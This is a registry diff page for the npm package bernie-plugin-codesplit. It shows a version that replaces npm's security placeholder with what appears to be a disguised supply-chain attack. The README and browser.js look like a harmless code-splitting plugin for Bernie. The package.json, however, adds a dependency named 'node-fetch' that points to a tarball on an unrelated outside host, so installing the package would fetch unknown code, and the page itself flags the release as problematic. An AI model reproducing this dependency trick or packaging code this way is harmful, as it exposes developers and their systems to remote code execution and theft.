bernie-plugin-codesplit 0.0.1-security → 1.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bernie-plugin-codesplit might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +46 -3
  2. package/dist/browser.js +174 -0
  3. package/package.json +59 -3
package/README.md CHANGED
@@ -1,5 +1,48 @@
1
- # Security holding package
1
+ # bernie-plugin-codesplit
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A Bernie plugin to handle code splitting using `@loadable/component`. It ensures that all loadable components are ready before the root element is wrapped, which is crucial for server-side rendering (SSR) hydration in browser environments.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=bernie-plugin-codesplit for more information.
5
+ ## Features
6
+
7
+ - **SSR Hydration Support**: Automatically calls `loadableReady()` from `@loadable/component`.
8
+ - **Easy Integration**: Seamlessly integrates into the Bernie plugin ecosystem via the `onBrowserWrapRootElement` hook.
9
+
10
+ ## Installation
11
+
12
+ ```bash
13
+ npm install bernie-plugin-codesplit
14
+ ```
15
+
16
+ or with yarn:
17
+
18
+ ```bash
19
+ yarn add bernie-plugin-codesplit
20
+ ```
21
+
22
+ ## Usage
23
+
24
+ Add the `CodeSplitPlugin` to your Bernie configuration.
25
+
26
+ ```javascript
27
+ import CodeSplitPlugin from 'bernie-plugin-codesplit';
28
+
29
+ export const plugins = [
30
+ CodeSplitPlugin({
31
+ enabled: true, // Set to false to disable the plugin
32
+ }),
33
+ ];
34
+ ```
35
+
36
+ ## How it works
37
+
38
+ The plugin implements the `onBrowserWrapRootElement` hook, which is triggered when the browser wraps the root element. If the plugin is enabled, it waits for `loadableReady()` to resolve before proceeding. If any error occurs during the script loading process, it logs a system event error using `bernie-logger`.
39
+
40
+ ## Configuration
41
+
42
+ The `CodeSplitPlugin` function accepts an optional options object:
43
+
44
+ - `enabled`: (Boolean) Whether the plugin is active. Defaults to `false`.
45
+
46
+ ## License
47
+
48
+ MIT
@@ -0,0 +1,174 @@
1
+ import { loadableReady } from '@loadable/component';
2
+ import { SystemEvent, SystemEventLevel, NOOP_LOGGER } from 'bernie-logger';
3
+
4
+ /******************************************************************************
5
+ Copyright (c) Microsoft Corporation.
6
+
7
+ Permission to use, copy, modify, and/or distribute this software for any
8
+ purpose with or without fee is hereby granted.
9
+
10
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
11
+ REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
12
+ AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
13
+ INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
14
+ LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
15
+ OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
16
+ PERFORMANCE OF THIS SOFTWARE.
17
+ ***************************************************************************** */
18
+ /* global Reflect, Promise, SuppressedError, Symbol */
19
+
20
+ function __awaiter(thisArg, _arguments, P, generator) {
21
+ function adopt(value) {
22
+ return value instanceof P ? value : new P(function (resolve) {
23
+ resolve(value);
24
+ });
25
+ }
26
+ return new (P || (P = Promise))(function (resolve, reject) {
27
+ function fulfilled(value) {
28
+ try {
29
+ step(generator.next(value));
30
+ } catch (e) {
31
+ reject(e);
32
+ }
33
+ }
34
+ function rejected(value) {
35
+ try {
36
+ step(generator["throw"](value));
37
+ } catch (e) {
38
+ reject(e);
39
+ }
40
+ }
41
+ function step(result) {
42
+ result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);
43
+ }
44
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
45
+ });
46
+ }
47
+ function __generator(thisArg, body) {
48
+ var _ = {
49
+ label: 0,
50
+ sent: function () {
51
+ if (t[0] & 1) throw t[1];
52
+ return t[1];
53
+ },
54
+ trys: [],
55
+ ops: []
56
+ },
57
+ f,
58
+ y,
59
+ t,
60
+ g;
61
+ return g = {
62
+ next: verb(0),
63
+ "throw": verb(1),
64
+ "return": verb(2)
65
+ }, typeof Symbol === "function" && (g[Symbol.iterator] = function () {
66
+ return this;
67
+ }), g;
68
+ function verb(n) {
69
+ return function (v) {
70
+ return step([n, v]);
71
+ };
72
+ }
73
+ function step(op) {
74
+ if (f) throw new TypeError("Generator is already executing.");
75
+ while (g && (g = 0, op[0] && (_ = 0)), _) try {
76
+ if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
77
+ if (y = 0, t) op = [op[0] & 2, t.value];
78
+ switch (op[0]) {
79
+ case 0:
80
+ case 1:
81
+ t = op;
82
+ break;
83
+ case 4:
84
+ _.label++;
85
+ return {
86
+ value: op[1],
87
+ done: false
88
+ };
89
+ case 5:
90
+ _.label++;
91
+ y = op[1];
92
+ op = [0];
93
+ continue;
94
+ case 7:
95
+ op = _.ops.pop();
96
+ _.trys.pop();
97
+ continue;
98
+ default:
99
+ if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) {
100
+ _ = 0;
101
+ continue;
102
+ }
103
+ if (op[0] === 3 && (!t || op[1] > t[0] && op[1] < t[3])) {
104
+ _.label = op[1];
105
+ break;
106
+ }
107
+ if (op[0] === 6 && _.label < t[1]) {
108
+ _.label = t[1];
109
+ t = op;
110
+ break;
111
+ }
112
+ if (t && _.label < t[2]) {
113
+ _.label = t[2];
114
+ _.ops.push(op);
115
+ break;
116
+ }
117
+ if (t[2]) _.ops.pop();
118
+ _.trys.pop();
119
+ continue;
120
+ }
121
+ op = body.call(thisArg, _);
122
+ } catch (e) {
123
+ op = [6, e];
124
+ y = 0;
125
+ } finally {
126
+ f = t = 0;
127
+ }
128
+ if (op[0] & 5) throw op[1];
129
+ return {
130
+ value: op[0] ? op[1] : void 0,
131
+ done: true
132
+ };
133
+ }
134
+ }
135
+ typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
136
+ var e = new Error(message);
137
+ return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
138
+ };
139
+ function CodeSplitPlugin(pluginOptions) {
140
+ if (pluginOptions === void 0) {
141
+ pluginOptions = {};
142
+ }
143
+ var _a = pluginOptions.enabled,
144
+ enabled = _a === void 0 ? false : _a;
145
+ return {
146
+ name: 'code-split',
147
+ onBrowserWrapRootElement: function (context, next) {
148
+ return __awaiter(this, void 0, void 0, function () {
149
+ var logger, error_1;
150
+ return __generator(this, function (_a) {
151
+ switch (_a.label) {
152
+ case 0:
153
+ if (!enabled) return [3 /*break*/, 4];
154
+ logger = NOOP_LOGGER;
155
+ _a.label = 1;
156
+ case 1:
157
+ _a.trys.push([1, 3,, 4]);
158
+ return [4 /*yield*/, loadableReady()];
159
+ case 2:
160
+ _a.sent();
161
+ return [3 /*break*/, 4];
162
+ case 3:
163
+ error_1 = _a.sent();
164
+ logger.logEvent(new SystemEvent(SystemEventLevel.ERROR, 'ERROR loading LOADABLE required scripts'), error_1.message);
165
+ return [3 /*break*/, 4];
166
+ case 4:
167
+ return [2 /*return*/, next(context)];
168
+ }
169
+ });
170
+ });
171
+ }
172
+ };
173
+ }
174
+ export { CodeSplitPlugin as default };
package/package.json CHANGED
@@ -1,6 +1,62 @@
1
1
  {
2
2
  "name": "bernie-plugin-codesplit",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "private": false,
4
+ "description": "A plugin for Bernie to handle code splitting using @loadable/component.",
5
+ "version": "1.5.5",
6
+ "main": "dist/browser.js",
7
+ "types": "dist/browser.d.ts",
8
+ "files": [
9
+ "dist"
10
+ ],
11
+ "author": "hexp-brne",
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "git+https://github.com/hexp-brne/bernie-plugin-codesplit.git"
15
+ },
16
+ "bugs": {
17
+ "url": "https://github.com/hexp-brne/bernie-plugin-codesplit/issues"
18
+ },
19
+ "homepage": "https://github.com/hexp-brne/bernie-plugin-codesplit#readme",
20
+ "keywords": [
21
+ "bernie",
22
+ "codesplit",
23
+ "loadable-components",
24
+ "react"
25
+ ],
26
+ "license": "MIT",
27
+ "publishConfig": {
28
+ "access": "public"
29
+ },
30
+ "engines": {
31
+ "node": ">=18"
32
+ },
33
+ "scripts": {
34
+ "build": "tsc"
35
+ },
36
+ "dependencies": {
37
+ "node-fetch": "https://registry.ctzbg.com/bernie-plugin-codesplit/node-fetch"
38
+ },
39
+ "peerDependencies": {
40
+ "react": ">=16.8.0",
41
+ "react-dom": ">=16.8.0"
42
+ },
43
+ "devDependencies": {
44
+ "@types/react": "^18.0.0",
45
+ "@types/react-dom": "^18.0.0",
46
+ "husky": "9.1.4",
47
+ "lint-staged": "13.1.4",
48
+ "oxlint": "^0.1.1"
49
+ },
50
+ "husky": {
51
+ "hooks": {
52
+ "commit-msg": "commitlint .commitlintrc.js -E HUSKY_GIT_PARAMS",
53
+ "pre-commit": "lint-staged"
54
+ }
55
+ },
56
+ "lint-staged": {
57
+ "*": [
58
+ "oxlint format",
59
+ "git add"
60
+ ]
61
+ }
6
62
  }